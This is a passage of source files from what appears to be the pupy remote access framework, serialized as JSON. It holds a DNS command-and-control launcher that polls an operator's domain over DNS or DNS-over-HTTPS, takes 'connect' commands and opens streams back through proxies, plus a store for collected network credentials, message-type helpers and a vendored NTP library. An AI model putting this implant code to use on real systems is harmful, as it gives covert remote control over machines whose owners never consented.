**kwargs):\n        self.connect_on_bind_payload = kwargs.pop(\n            'connect_on_bind_payload', False\n        )\n\n        super(DNSCncLauncher, self).__init__(*args, **kwargs)\n\n        self.dnscnc = None\n        self.exited = False\n        self.doh = False\n\n        self.ns = None\n        self.ns_timeout = None\n        self.qtype = None\n        self.pupy = None\n\n    def parse_args(self, args):\n        self.args = self.arg_parser.parse_args(args)\n\n        self.doh = self.args.doh\n        self.ns = self.args.ns\n        self.ns_timeout = self.args.ns_timeout\n        self.qtype = self.args.qtype\n\n    def activate(self):\n        if self.args is None:\n            raise LauncherError('parse_args needs to be called before iterate')\n\n        logger.info('Activating CNC protocol. Domain: %s', self.args.domain)\n\n        self.pupy = __import__('pupy')\n        self.dnscnc = DNSCommandClientLauncher(\n            self.args.domain, self.doh, self.ns, self.qtype, self.ns_timeout)\n        self.dnscnc.daemon = True\n        self.dnscnc.start()\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = LauncherArgumentParser(\n            prog='dnscnc', description=cls.__doc__\n        )\n\n        cls.arg_parser.add_argument(\n            '--domain',\n            metavar='<domain>',\n            required=True,\n            help='controlled domain (hostname only, no IP, '\n               'you should properly setup NS first. Port is NOT supported)'\n        )\n\n        cls.arg_parser.add_argument(\n            '--ns', help='DNS server (will use internal DNS library)'\n        )\n\n        cls.arg_parser.add_argument(\n            '--doh', help='Use DNS-over-HTTPS', default=False, action='store_true'\n        )\n\n        cls.arg_parser.add_argument(\n            '--ns-timeout', help='DNS query timeout (only when internal DNS library used)',\n            default=3, type=int,\n        )\n\n        cls.arg_parser.add_argument(\n            '--qtype',\n            choices=['A', 'AAAA'], default=None,\n            help='DNS query type (For now only A and AAAA are supported)'\n        )\n\n\n    def iterate(self):\n        if not self.dnscnc:\n            self.activate()\n\n        while not self.exited and not pupy.client.terminated:\n            try:\n                connection = self.process()\n                if not connection:\n                    continue\n\n                stream, transport = connection\n                if not stream:\n                    continue\n\n                logger.debug('stream created, yielding - %s', stream)\n\n                self.dnscnc.stream = stream\n\n                yield stream\n\n                with self.dnscnc.lock:\n                    logger.debug('stream completed - %s', stream)\n\n                    self.dnscnc.stream = None\n\n            except Exception as e:\n                logger.exception(e)\n\n    def process(self):\n        command = None\n        connection = None\n        wait = False\n\n        with self.dnscnc.lock:\n            if self.dnscnc.commands:\n                command = self.dnscnc.commands.pop()\n\n            if not command:\n                wait = True\n\n            elif command[0] == 'connect':\n                try:\n                    connection = self.on_connect(command)\n                except socket.error:\n                    pass\n\n                if not connection:\n                    self.event(0x20000000 | 0xFFFE)\n\n        if wait:\n            sleep(5)\n\n        return connection\n\n    def connect_to_host(self, host_info, transport, proxies):\n        logger.info('connecting to %s:%d (hostname=%s) using transport %s ...',\n            host_info.host, host_info.port, host_info.hostname,\n            transport\n        )\n\n        transport_info = create_client_transport_info_for_addr(\n            transport, host_info\n        )\n\n        logger.info('using client options: %s', transport_info.client_args)\n        logger.info('using transports options: %s', transport_info.transport_args)\n\n        auto = True\n\n        if proxies is False:\n            auto = False\n            proxies = None\n        elif proxies is True:\n            proxies = None\n\n        proposed_proxy_infos = find_proxies_for_transport(\n            transport_info, host_info,\n            wan_proxies=proxies,\n            auto=auto\n        )\n\n        for proxy_info in proposed_proxy_infos:\n            try:\n                yield connect_client_with_proxy_info(\n                    transport_info, proxy_info)\n\n            except (ProxyError, EOFError) as e:\n                logger.info(\n                    'Connection to %s:%d using %s failed: %s',\n                    host_info.host, host_info.port, proxy_info.chain, e\n                )\n            except Exception as e:\n                logger.exception(e)\n\n\n    def on_connect(self, command):\n        logger.debug('processing connection command')\n\n        stream = None\n        transport = None\n\n        _, host, port, transport, connection_proxy, hostname = command\n\n        if connection_proxy is None:\n            logger.debug('Connection proxy: autodetect')\n        elif connection_proxy is True:\n            logger.debug('Connection proxy: omit direct')\n        elif connection_proxy is False:\n            logger.debug('Connection proxy: disabled')\n        elif len(connection_proxy) == 1:\n            logger.debug('Connection proxy: one: %s', connection_proxy[0])\n        else:\n            logger.debug('Connection proxy: chain: %s', connection_proxy)\n\n        host_info = HostInfo(host, port, hostname)\n\n        streams_iterator = self.connect_to_host(\n            host_info, transport, connection_proxy)\n\n        while True:\n            try:\n                stream = next(streams_iterator)\n                break\n\n            except EOFError as e:\n                logger.info('Connection closed: %s', e)\n\n            except StopIteration:\n                break\n\n            except Exception as e:\n                logger.exception(e)\n\n        if stream:\n            self.set_connection_info(hostname, host, port, connection_proxy, transport)\n        else:\n            logger.debug('All connection attempt has been failed')\n            self.reset_connection_info()\n\n        return stream, transport\n\n    def get_transport(self):\n        return self._current_transport\n"
  },
  {
    "path": "pupy/network/lib/msgtypes.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'MSG_TYPES_PACK', 'MSG_TYPES_UNPACK',\n    'msgpack_exthook'\n)\n\nfrom collections import namedtuple\n\nfrom pupy.network.conf import transports\n\nfrom pupy.network.lib import Proxy\nfrom pupy.network.lib.proxies import ProxyInfo\nfrom pupy.network.lib.utils import HostInfo, TransportInfo\nfrom pupy.network.lib.convcompat import as_unicode_string_deep\nfrom pupy.network.lib.rpc.core.brine import (\n    register_named_tuple as brine_register_named_tuple\n)\n\nfrom umsgpack import Ext, packb, unpackb\n\n\nMSG_TYPES_PACK = {}\nMSG_TYPES_UNPACK = {}\n\nKNOWN_NAMED_TUPLES = (\n    Proxy, ProxyInfo, HostInfo, TransportInfo\n)\n\n\ndef register_named_tuple(code, ntype):\n    MSG_TYPES_PACK[type] = lambda obj: Ext(\n        code, packb(tuple(x for x in obj)))\n    MSG_TYPES_UNPACK[code] = lambda obj: ntype(\n        *unpackb(obj.data))\n\n    brine_register_named_tuple(code, ntype)\n\n\ndef register_string(ntype, code, name):\n    MSG_TYPES_PACK[ntype] = lambda obj: Ext(code, '')\n    MSG_TYPES_UNPACK[code] = lambda obj: name\n\n\nfor idx, ntype in enumerate(KNOWN_NAMED_TUPLES):\n    register_named_tuple(idx, ntype)\n\nSPECIAL_TYPES_OFFT = len(KNOWN_NAMED_TUPLES)\n\nfor idx, name in enumerate(transports):\n    register_string(idx, transports[name], name)\n\n\nwrapext = namedtuple('Ext', ('code', 'data'))\n\n\ndef msgpack_exthook(code, data):\n    if code in MSG_TYPES_UNPACK:\n        obj = wrapext(code, data)\n        return as_unicode_string_deep(MSG_TYPES_UNPACK[code](obj))\n"
  },
  {
    "path": "pupy/network/lib/netcreds.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'NetCreds',\n    'add_cred', 'add_cred_for_uri', 'find_creds',\n    'find_first_cred', 'find_all_creds', 'find_creds_for_uri',\n    'export'\n)\n\nimport sys\n\nfrom socket import getaddrinfo, gaierror\nfrom netaddr import IPAddress, AddrFormatError\n\nif sys.version_info.major > 2:\n    from urllib.parse import urlparse\n\n    basestring = str\nelse:\n    from urlparse import urlparse\n\n\n_TARGET_WEIGHTS = {\n    'domain': 0b1, 'schema': 0b10,\n    'realm': 0b100, 'port': 0b1000, 'path': 0b10000,\n    'hostname': 0b100000, 'username': 0b1000000,\n    'password': 0b10000000\n}\n\n\ndef resolve_ip(hostname, port=0):\n    ips = set()\n    try:\n        for addr in getaddrinfo(hostname, port):\n            _, _, _, _, endpoint = addr\n            ips.add(endpoint[0])\n\n    except gaierror:\n        return None\n\n    return ips\n\n\ndef are_different(first, second):\n    if not first or not second:\n        return False\n\n    if type(first) is not set and type(second) is set:\n        if first not in second:\n            return True\n\n    elif type(first) is set and type(second) is not set:\n        if second not in first:\n            return True\n\n    elif type(first) is set and type(second) is set:\n        for x in first:\n            if x in second:\n                return False\n\n    return first != second\n\n\nclass AuthInfo(object):\n    __slots__ = (\n        'username', 'password', 'domain', 'schema',\n        'hostname', 'ip', 'port', 'realm', 'path',\n        'custom'\n    )\n\n    def __init__(\n        self, username, password=None, domain=None, schema=None,\n            address=None, ip=None, port=None, realm=None,\n            path=False, custom=None):\n\n        self.password = password\n        self.schema = schema\n        self.port = port\n        self.realm = realm\n        self.path = path\n        self.custom = custom\n\n        self.hostname = None\n        self.ip = None\n\n        if domain is True:\n            if '\\\\' in username:\n                self.domain, self.username = username.split('\\\\')\n            else:\n                self.domain = None\n                self.username = username\n        else:\n            self.domain = domain\n            self.username = username\n\n        try:\n            self.ip = {IPAddress(address)}\n            self.hostname = None\n        except AddrFormatError:\n            self.ip = None\n            self.hostname = address\n\n        if self.port:\n            self.port = int(self.port)\n\n        if self.ip is None and self.hostname:\n            self.ip = resolve_ip(self.hostname, self.port)\n\n    def _weight(self, available_fields):\n        value = 0b0\n\n        for field, weight in _TARGET_WEIGHTS.items():\n            if field not in available_fields:\n                continue\n\n            if getattr(self, field):\n                value |= weight\n\n        return value\n\n    def __eq__(self, other):\n        if type(other) != type(self):\n            return False\n\n        return all(\n            getattr(self, key) == getattr(other, key)\n            for key in self.__slots__\n        )\n\n    def __hash__(self):\n        rethash = 0\n        for key in self.__slots__:\n            if key == 'custom':\n                continue\n\n            value = getattr(self, key)\n\n            if type(value) == set:\n                for item in value:\n                    rethash <<= 1\n                    rethash ^= hash(item)\n            else:\n                rethash <<= 1\n                rethash ^= hash(value)\n\n        for key in self.custom:\n            rethash <<= 1\n            rethash ^= hash(self.custom[key])\n\n        return rethash\n\n    @property\n    def user(self):\n        if self.domain:\n            return self.domain + '\\\\' + self.username\n\n        return self.username\n\n    def __getattr__(self, key):\n        if self.custom and key in self.custom:\n            return self.custom[key]\n\n    def as_dict(self):\n        result = {\n            key: getattr(self, key) for key in self.__slots__\n            if key != 'custom' and getattr(self, key)\n        }\n\n        result['user'] = self.user\n\n        result.update(self.custom)\n        return result\n\n    def as_tuple(self):\n        return tuple(\n            (k, tuple(str(x) for x in v)\n            if hasattr(v, '__iter__')  and not isinstance(v, str) else v)\n            for k,v in self.as_dict().items()\n        )\n\n\nclass NetCreds(object):\n    __slots__ = ('creds',)\n\n    default_creds_manager = None\n\n    def __init__(self):\n        self.creds = set()\n\n    @staticmethod\n    def get_default_creds_manager():\n        if NetCreds.default_creds_manager is None:\n            NetCreds.default_creds_manager = NetCreds()\n\n        return NetCreds.default_creds_manager\n\n    def add_cred(\n        self, username, password=None, domain=None, schema=None,\n            hostname=None, ip=None, port=None, realm=None, path=None, **kwargs):\n\n        if port is not None:\n            port = int(port)\n\n        if schema is not None:\n            schema = schema.lower()\n\n        if hostname is not None:\n            hostname = hostname.lower()\n\n        if realm is not None:\n            realm = realm.upper()\n\n        if isinstance(domain, basestring):\n            domain = domain.lower()\n\n        self.creds.add(\n            AuthInfo(\n                username, password, domain, schema,\n                hostname, ip, port, realm, path, kwargs))\n\n    def add_uri(self, uri, password=None, username=None, realm=None):\n        parsed = urlparse(uri)\n        self.creds.add(\n            AuthInfo(\n                username or parsed.username,\n                password or parsed.password,\n                True, parsed.scheme, parsed.hostname,\n                parsed.port, realm\n            )\n        )\n\n    def find_creds_for_uri(self, authuri, username=None, realm=None, domain=None):\n        parsed = urlparse(authuri)\n        for cred in self.find_creds(\n            parsed.scheme, parsed.hostname, parsed.port, username or parsed.username,\n                realm, domain, parsed.path):\n\n            yield cred\n\n    def find_creds(\n        self, schema=None, address=None, port=None, username=None, realm=None,\n            domain=None, path=None):\n\n        if address is not None:\n            try:\n                ip = {IPAddress(address)}\n                hostname = None\n            except AddrFormatError:\n                ip = resolve_ip(address, port)\n                hostname = address\n        else:\n            ip = None\n            hostname = None\n\n        if port:\n            port = int(port)\n\n        if username is not None:\n            if '\\\\' in username and domain is None:\n                domain, username = username.split('\\\\', 1)\n\n        if port is not None:\n            port = int(port)\n\n        if schema is not None:\n            schema = schema.lower()\n\n        if address is not None:\n            address = address.lower()\n\n        if realm is not None:\n            realm = realm.upper()\n\n        if isinstance(domain, basestring):\n            domain = domain.lower()\n\n        fields = {\n            'realm': realm,\n            'domain': domain,\n            'schema': schema,\n            'ip': ip,\n            'hostname': hostname,\n            'port': port,\n            'username': username,\n        }\n\n        available_fields = tuple(\n            field for field in fields if fields[field]\n        )\n\n        sorted_creds = sorted(\n            self.creds,\n            key=lambda x: x._weight(available_fields), reverse=True\n        )\n\n        for cred in sorted_creds:\n            pairs = tuple(\n                (fields[field], getattr(cred, field)) for field in fields\n            )\n\n            different = False\n\n            for (first, second) in pairs:\n                if are_different(first, second):\n                    different = True\n                    break\n\n            if path is not None and cred.path is not None:\n                these_parts = '/'.join(\n                    x for x in path.split('/') if x\n                )\n\n                those_parts = '/'.join(\n                    x for x in cred.path.split('/') if x\n                )\n\n                if len(these_parts) < len(those_parts):\n                    different = True\n                else:\n                    for x, y in zip(these_parts, those_parts):\n                        if x != y:\n                            different = True\n                            break\n\n            if different:\n                continue\n\n            yield cred\n\n    # Urllib2 HTTPPasswordMgr\n    def find_user_password(self, realm, authuri):\n        for cred in self.find_creds(authuri, realm=realm):\n            return cred.password\n\n    def add_password(self, realm, uri, user, passwd):\n        self.add_cred(uri, passwd, user, realm)\n\n\ndef add_cred(\n    username, password=None, domain=None, schema=None,\n       hostname=None, ip=None, port=None, realm=None, path=None, **kwargs):\n\n    manager = NetCreds.get_default_creds_manager()\n    manager.add_cred(\n        username, password, domain, schema, hostname,\n        ip, port, realm, path, **kwargs\n    )\n\n\ndef add_cred_for_uri(username, password, authuri, realm=None):\n    manager = NetCreds.get_default_creds_manager()\n    manager.add_uri(authuri, password, username, realm)\n\n\ndef find_creds(\n    schema=None, address=None, port=None, username=None, realm=None,\n        domain=None, path=None):\n\n    manager = NetCreds.get_default_creds_manager()\n    for cred in manager.find_creds(\n            schema, address, port, username, realm, domain, path):\n        yield cred\n\n\ndef remove_creds(\n    schema=None, address=None, port=None, username=None, realm=None,\n        domain=None, path=None):\n\n    manager = NetCreds.get_default_creds_manager()\n    to_remove = set()\n\n    for cred in manager.find_creds(\n            schema, address, port, username, realm, domain, path):\n        to_remove.add(cred)\n\n    for cred in to_remove:\n        manager.creds.remove(cred)\n\n\ndef clear_creds():\n    manager = NetCreds.get_default_creds_manager()\n    manager.creds.clear()\n\n\ndef find_first_cred(\n    schema=None, address=None, port=None, username=None, realm=None,\n        domain=None, path=None):\n\n    manager = NetCreds.get_default_creds_manager()\n    for cred in manager.find_creds(\n            schema, address, port, username, realm, domain, path):\n        return cred\n\ndef find_all_creds(\n    schema=None, address=None, port=None, username=None, realm=None,\n        domain=None, path=None, as_tuple=False):\n\n    result = []\n\n    for cred in find_creds(\n        schema=None, address=None, port=None, username=None,\n            realm=None, domain=None, path=None):\n\n        if as_tuple:\n            result.append(cred.as_tuple())\n        else:\n            result.append(cred)\n\n    return tuple(result)\n\n\ndef find_creds_for_uri(authuri, username=None, realm=None, domain=None):\n    manager = NetCreds.get_default_creds_manager()\n    for cred in manager.find_creds_for_uri(authuri, username, realm, domain):\n        yield cred\n\n\ndef export():\n    manager = NetCreds.get_default_creds_manager()\n    return tuple(x.as_tuple() for x in manager.creds)\n"
  },
  {
    "path": "pupy/network/lib/ntop.py",
    "content": "# -*- coding: utf-8 -*-\n\n__all__ = ('ensure_ntop',)\n\n\ndef ensure_ntop():\n    import socket\n\n    if not (hasattr(socket, 'inet_ntop') and hasattr(socket, 'inet_pton')):\n        import sys\n\n        try:\n            if 'win' in sys.platform:\n                import win_inet_pton\n                assert win_inet_pton\n        except (ImportError, AttributeError):\n            # Something went wrong\n            pass\n\n\n    if not (hasattr(socket, 'inet_ntop') and hasattr(socket, 'inet_pton')):\n        import netaddr\n\n        def inet_pton(family, address):\n            if family == socket.AF_INET:\n                return netaddr.strategy.ipv4.int_to_packed(\n                    netaddr.strategy.ipv4.str_to_int(address))\n            elif family == socket.AF_INET6:\n                return netaddr.strategy.ipv6.int_to_packed(\n                    netaddr.strategy.ipv6.str_to_int(address))\n            else:\n                raise ValueError('Unsupported family {}'.format(family))\n\n        def inet_ntop(family, address):\n            if family == socket.AF_INET:\n                return netaddr.strategy.ipv4.int_to_str(\n                    netaddr.strategy.ipv4.packed_to_int(address))\n            elif family == socket.AF_INET6:\n                return netaddr.strategy.ipv6.int_to_str(\n                    netaddr.strategy.ipv6.packed_to_int(address))\n            else:\n                raise ValueError('Unsupported family {}'.format(family))\n\n        setattr(socket, 'inet_pton', inet_pton)\n        setattr(socket, 'inet_ntop', inet_ntop)\n"
  },
  {
    "path": "pupy/network/lib/ntplib.py",
    "content": "###############################################################################\n# The MIT License (MIT)\n#\n# Copyright (C) 2009-2015 Charles-Francois Natali <cf.natali@gmail.com>\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n###############################################################################\n\"\"\"Python NTP library.\n\nImplementation of client-side NTP (RFC-1305), and useful NTP-related\nfunctions.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'NTPException', 'NTP',\n    'NTPPacket', 'NTPClient', 'NTPStats',\n)\n\nimport datetime\nimport socket\nimport struct\nimport time\n\nclass NTPException(Exception):\n    \"\"\"Exception raised by this module.\"\"\"\n    __slots__ = ()\n\nclass NTP(object):\n    \"\"\"Helper class defining constants.\"\"\"\n\n    _SYSTEM_EPOCH = datetime.date(*time.gmtime(0)[0:3])\n    \"\"\"system epoch\"\"\"\n    _NTP_EPOCH = datetime.date(1900, 1, 1)\n    \"\"\"NTP epoch\"\"\"\n    NTP_DELTA = (_SYSTEM_EPOCH - _NTP_EPOCH).days * 24 * 3600\n    \"\"\"delta between system and NTP time\"\"\"\n\n    REF_ID_TABLE = {\n        \"GOES\":  \"Geostationary Orbit Environment Satellite\",\n        \"GPS\\0\": \"Global Position System\",\n        \"GAL\\0\": \"Galileo Positioning System\",\n        \"PPS\\0\": \"Generic pulse-per-second\",\n        \"IRIG\":  \"Inter-Range Instrumentation Group\",\n        \"WWVB\":  \"LF Radio WWVB Ft. Collins, CO 60 kHz\",\n        \"DCF\\0\": \"LF Radio DCF77 Mainflingen, DE 77.5 kHz\",\n        \"HBG\\0\": \"LF Radio HBG Prangins, HB 75 kHz\",\n        \"MSF\\0\": \"LF Radio MSF Anthorn, UK 60 kHz\",\n        \"JJY\\0\": \"LF Radio JJY Fukushima, JP 40 kHz, Saga, JP 60 kHz\",\n        \"LORC\":  \"MF Radio LORAN C station, 100 kHz\",\n        \"TDF\\0\": \"MF Radio Allouis, FR 162 kHz\",\n        \"CHU\\0\": \"HF Radio CHU Ottawa, Ontario\",\n        \"WWV\\0\": \"HF Radio WWV Ft. Collins, CO\",\n        \"WWVH\":  \"HF Radio WWVH Kauai, HI\",\n        \"NIST\":  \"NIST telephone modem\",\n        \"ACTS\":  \"NIST telephone modem\",\n        \"USNO\":  \"USNO telephone modem\",\n        \"PTB\\0\": \"European telephone modem\",\n        \"LOCL\":  \"uncalibrated local clock\",\n        \"CESM\":  \"calibrated Cesium clock\",\n        \"RBDM\":  \"calibrated Rubidium clock\",\n        \"OMEG\":  \"OMEGA radionavigation system\",\n        \"DCN\\0\": \"DCN routing protocol\",\n        \"TSP\\0\": \"TSP time protocol\",\n        \"DTS\\0\": \"Digital Time Service\",\n        \"ATOM\":  \"Atomic clock (calibrated)\",\n        \"VLF\\0\": \"VLF radio (OMEGA,, etc.)\",\n        \"1PPS\":  \"External 1 PPS input\",\n        \"FREE\":  \"(Internal clock)\",\n        \"INIT\":  \"(Initialization)\",\n        \"\\0\\0\\0\\0\":   \"NULL\",\n    }\n    \"\"\"reference identifier table\"\"\"\n\n    STRATUM_TABLE = {\n        0: \"unspecified or invalid\",\n        1: \"primary reference (%s)\",\n    }\n    \"\"\"stratum table\"\"\"\n\n    MODE_TABLE = {\n        0: \"reserved\",\n        1: \"symmetric active\",\n        2: \"symmetric passive\",\n        3: \"client\",\n        4: \"server\",\n        5: \"broadcast\",\n        6: \"reserved for NTP control messages\",\n        7: \"reserved for private use\",\n    }\n    \"\"\"mode table\"\"\"\n\n    LEAP_TABLE = {\n        0: \"no warning\",\n        1: \"last minute of the day has 61 seconds\",\n        2: \"last minute of the day has 59 seconds\",\n        3: \"unknown (clock unsynchronized)\",\n    }\n    \"\"\"leap indicator table\"\"\"\n\n    __slots__ = ()\n\nclass NTPPacket(object):\n    \"\"\"NTP packet class.\n\n    This represents an NTP packet.\n    \"\"\"\n\n    _PACKET_FORMAT = \"!B B B b 11I\"\n    \"\"\"packet format to pack/unpack\"\"\"\n\n    __slots__ = (\n        'leap', 'version', 'mode', 'stratum', 'poll',\n        'precision', 'root_delay', 'root_dispersion',\n        'ref_id', 'ref_timestamp', 'orig_timestamp',\n        'recv_timestamp', 'tx_timestamp'\n    )\n\n    def __init__(self, version=2, mode=3, tx_timestamp=0):\n        \"\"\"Constructor.\n\n        Parameters:\n        version      -- NTP version\n        mode         -- packet mode (client, server)\n        tx_timestamp -- packet transmit timestamp\n        \"\"\"\n        self.leap = 0\n        \"\"\"leap second indicator\"\"\"\n        self.version = version\n        \"\"\"version\"\"\"\n        self.mode = mode\n        \"\"\"mode\"\"\"\n        self.stratum = 0\n        \"\"\"stratum\"\"\"\n        self.poll = 0\n        \"\"\"poll interval\"\"\"\n        self.precision = 0\n        \"\"\"precision\"\"\"\n        self.root_delay = 0\n        \"\"\"root delay\"\"\"\n        self.root_dispersion = 0\n        \"\"\"root dispersion\"\"\"\n        self.ref_id = 0\n        \"\"\"reference clock identifier\"\"\"\n        self.ref_timestamp = 0\n        \"\"\"reference timestamp\"\"\"\n        self.orig_timestamp = 0\n        \"\"\"originate timestamp\"\"\"\n        self.recv_timestamp = 0\n        \"\"\"receive timestamp\"\"\"\n        self.tx_timestamp = tx_timestamp\n        \"\"\"tansmit timestamp\"\"\"\n\n    def to_data(self):\n        \"\"\"Convert this NTPPacket to a buffer that can be sent over a socket.\n\n        Returns:\n        buffer representing this packet\n\n        Raises:\n        NTPException -- in case of invalid field\n        \"\"\"\n        try:\n            packed = struct.pack(NTPPacket._PACKET_FORMAT,\n                (self.leap << 6 | self.version << 3 | self.mode),\n                self.stratum,\n                self.poll,\n                self.precision,\n                _to_int(self.root_delay) << 16 | _to_frac(self.root_delay, 16),\n                _to_int(self.root_dispersion) << 16 | \\\n                    _to_frac(self.root_dispersion, 16),\n                self.ref_id,\n                _to_int(self.ref_timestamp),\n                _to_frac(self.ref_timestamp),\n                _to_int(self.orig_timestamp),\n                _to_frac(self.orig_timestamp),\n                _to_int(self.recv_timestamp),\n                _to_frac(self.recv_timestamp),\n                _to_int(self.tx_timestamp),\n                _to_frac(self.tx_timestamp))\n        except struct.error:\n            raise NTPException(\"Invalid NTP packet fields.\")\n        return packed\n\n    def from_data(self, data):\n        \"\"\"Populate this instance from a NTP packet payload received from\n        the network.\n\n        Parameters:\n        data -- buffer payload\n\n        Raises:\n        NTPException -- in case of invalid packet format\n        \"\"\"\n        try:\n            unpacked = struct.unpack(NTPPacket._PACKET_FORMAT,\n                    data[0:struct.calcsize(NTPPacket._PACKET_FORMAT)])\n        except struct.error:\n            raise NTPException(\"Invalid NTP packet.\")\n\n        self.leap = unpacked[0] >> 6 & 0x3\n        self.version = unpacked[0] >> 3 & 0x7\n        self.mode = unpacked[0] & 0x7\n        self.stratum = unpacked[1]\n        self.poll = unpacked[2]\n        self.precision = unpacked[3]\n        self.root_delay = float(unpacked[4])/2**16\n        self.root_dispersion = float(unpacked[5])/2**16\n        self.ref_id = unpacked[6]\n        self.ref_timestamp = _to_time(unpacked[7], unpacked[8])\n        self.orig_timestamp = _to_time(unpacked[9], unpacked[10])\n        self.recv_timestamp = _to_time(unpacked[11], unpacked[12])\n        self.tx_timestamp = _to_time(unpacked[13], unpacked[14])\n\n\nclass NTPStats(NTPPacket):\n    \"\"\"NTP statistics.\n\n    Wrapper for NTPPacket, offering additional statistics like offset and\n    delay, and timestamps converted to system time.\n    \"\"\"\n\n    __slots__ = ['dest_timestamp']\n\n    def __init__(self):\n        \"\"\"Constructor.\"\"\"\n        NTPPacket.__init__(self)\n        self.dest_timestamp = 0\n        \"\"\"destination timestamp\"\"\"\n\n    @property\n    def offset(self):\n        \"\"\"offset\"\"\"\n        return (\n            (self.recv_timestamp - self.orig_timestamp) + \\\n            (self.tx_timestamp - self.dest_timestamp))/2\n\n    @property\n    def delay(self):\n        \"\"\"round-trip delay\"\"\"\n        return (\n            (self.dest_timestamp - self.orig_timestamp) - \\\n            (self.tx_timestamp - self.recv_timestamp))\n\n    @property\n    def tx_time(self):\n        \"\"\"Transmit timestamp in system time.\"\"\"\n        return ntp_to_system_time(self.tx_timestamp)\n\n    @property\n    def recv_time(self):\n        \"\"\"Receive timestamp in system time.\"\"\"\n        return ntp_to_system_time(self.recv_timestamp)\n\n    @property\n    def orig_time(self):\n        \"\"\"Originate timestamp in system time.\"\"\"\n        return ntp_to_system_time(self.orig_timestamp)\n\n    @property\n    def ref_time(self):\n        \"\"\"Reference timestamp in system time.\"\"\"\n        return ntp_to_system_time(self.ref_timestamp)\n\n    @property\n    def dest_time(self):\n        \"\"\"Destination timestamp in system time.\"\"\"\n        return ntp_to_system_time(self.dest_timestamp)\n\n\nclass NTPClient(object):\n    \"\"\"NTP client session.\"\"\"\n\n    __slots__ = ()\n\n    def __init__(self):\n        \"\"\"Constructor.\"\"\"\n        pass\n\n    def request(self, host, version=2, port='ntp', timeout=5):\n        \"\"\"Query a NTP server.\n\n        Parameters:\n        host    -- server name/address\n        version -- NTP version to use\n        port    -- server port\n        timeout -- timeout on socket operations\n\n        Returns:\n        NTPStats object\n        \"\"\"\n        # lookup server address\n        addrinfo = socket.getaddrinfo(host, port)[0]\n        family, sockaddr = addrinfo[0], addrinfo[4]\n\n        # create the socket\n        s = socket.socket(family, socket.SOCK_DGRAM)\n\n        try:\n            s.settimeout(timeout)\n\n            # create the request packet - mode 3 is client\n            query_packet = NTPPacket(mode=3, version=version,\n                                tx_timestamp=system_to_ntp_time(time.time()))\n\n            # send the request\n            s.sendto(query_packet.to_data(), sockaddr)\n\n            # wait for the response - check the source address\n            src_addr = None,\n            while src_addr[0] != sockaddr[0]:\n                response_packet, src_addr = s.recvfrom(256)\n\n            # build the destination timestamp\n            dest_timestamp = system_to_ntp_time(time.time())\n        except socket.timeout:\n            raise NTPException(\"No response received from %s.\" % host)\n        finally:\n            s.close()\n\n        # construct corresponding statistics\n        stats = NTPStats()\n        stats.from_data(response_packet)\n        stats.dest_timestamp = dest_timestamp\n\n        return stats\n\n\ndef _to_int(timestamp):\n    \"\"\"Return the integral part of a timestamp.\n\n    Parameters:\n    timestamp -- NTP timestamp\n\n    Retuns:\n    integral part\n    \"\"\"\n    return int(timestamp)\n\n\ndef _to_frac(timestamp, n=32):\n    \"\"\"Return the fractional part of a timestamp.\n\n    Parameters:\n    timestamp -- NTP timestamp\n    n         -- number of bits of the fractional part\n\n    Retuns:\n    fractional part\n    \"\"\"\n    return int(abs(timestamp - _to_int(timestamp)) * 2**n)\n\n\ndef _to_time(integ, frac, n=32):\n    \"\"\"Return a timestamp from an integral and fractional part.\n\n    Parameters:\n    integ -- integral part\n    frac  -- fractional part\n    n     -- number of bits of the fractional part\n\n    Retuns:\n    timestamp\n    \"\"\"\n    return integ + float(frac)/2**n\n\n\ndef ntp_to_system_time(timestamp):\n    \"\"\"Convert a NTP time to system time.\n\n    Parameters:\n    timestamp -- timestamp in NTP time\n\n    Returns:\n    corresponding system time\n    \"\"\"\n    return timestamp - NTP.NTP_DELTA\n\n\ndef system_to_ntp_time(timestamp):\n    \"\"\"Convert a system time to a NTP time.\n\n    Parameters:\n    timestamp -- timestamp in system time\n\n    Returns:\n    corresponding NTP time\n    \"\"\"\n    return timestamp + NTP.NTP_DELTA\n\n\ndef leap_to_text(leap):\n    \"\"\"Convert a leap indicator to text.\n\n    Parameters:\n    leap -- leap indicator value\n\n    Returns:\n    corresponding message\n\n    Raises:\n    NTPException -- in case of invalid leap indicator\n    \"\"\"\n    if leap in NTP.LEAP_TABLE:\n        return NTP.LEAP_TABLE[leap]\n    else:\n        raise NTPException(\"Invalid leap indicator.\")\n\n\ndef mode_to_text(mode):\n    \"\"\"Convert a NTP mode value to text.\n\n    Parameters:\n    mode -- NTP mode\n\n    Returns:\n    corresponding message\n\n    Raises:\n    NTPException -- in case of invalid mode\n    \"\"\"\n    if mode in NTP.MODE_TABLE:\n        return NTP.MODE_TABLE[mode]\n    else:\n        raise NTPException(\"Invalid mode.\")\n\n\ndef stratum_to_text(stratum):\n    \"\"\"Convert a stratum value to text.\n\n    Parameters:\n    stratum -- NTP stratum\n\n    Returns:\n    corresponding message\n\n    Raises:\n    NTPException -- in case of invalid stratum\n    \"\"\"\n    if stratum in 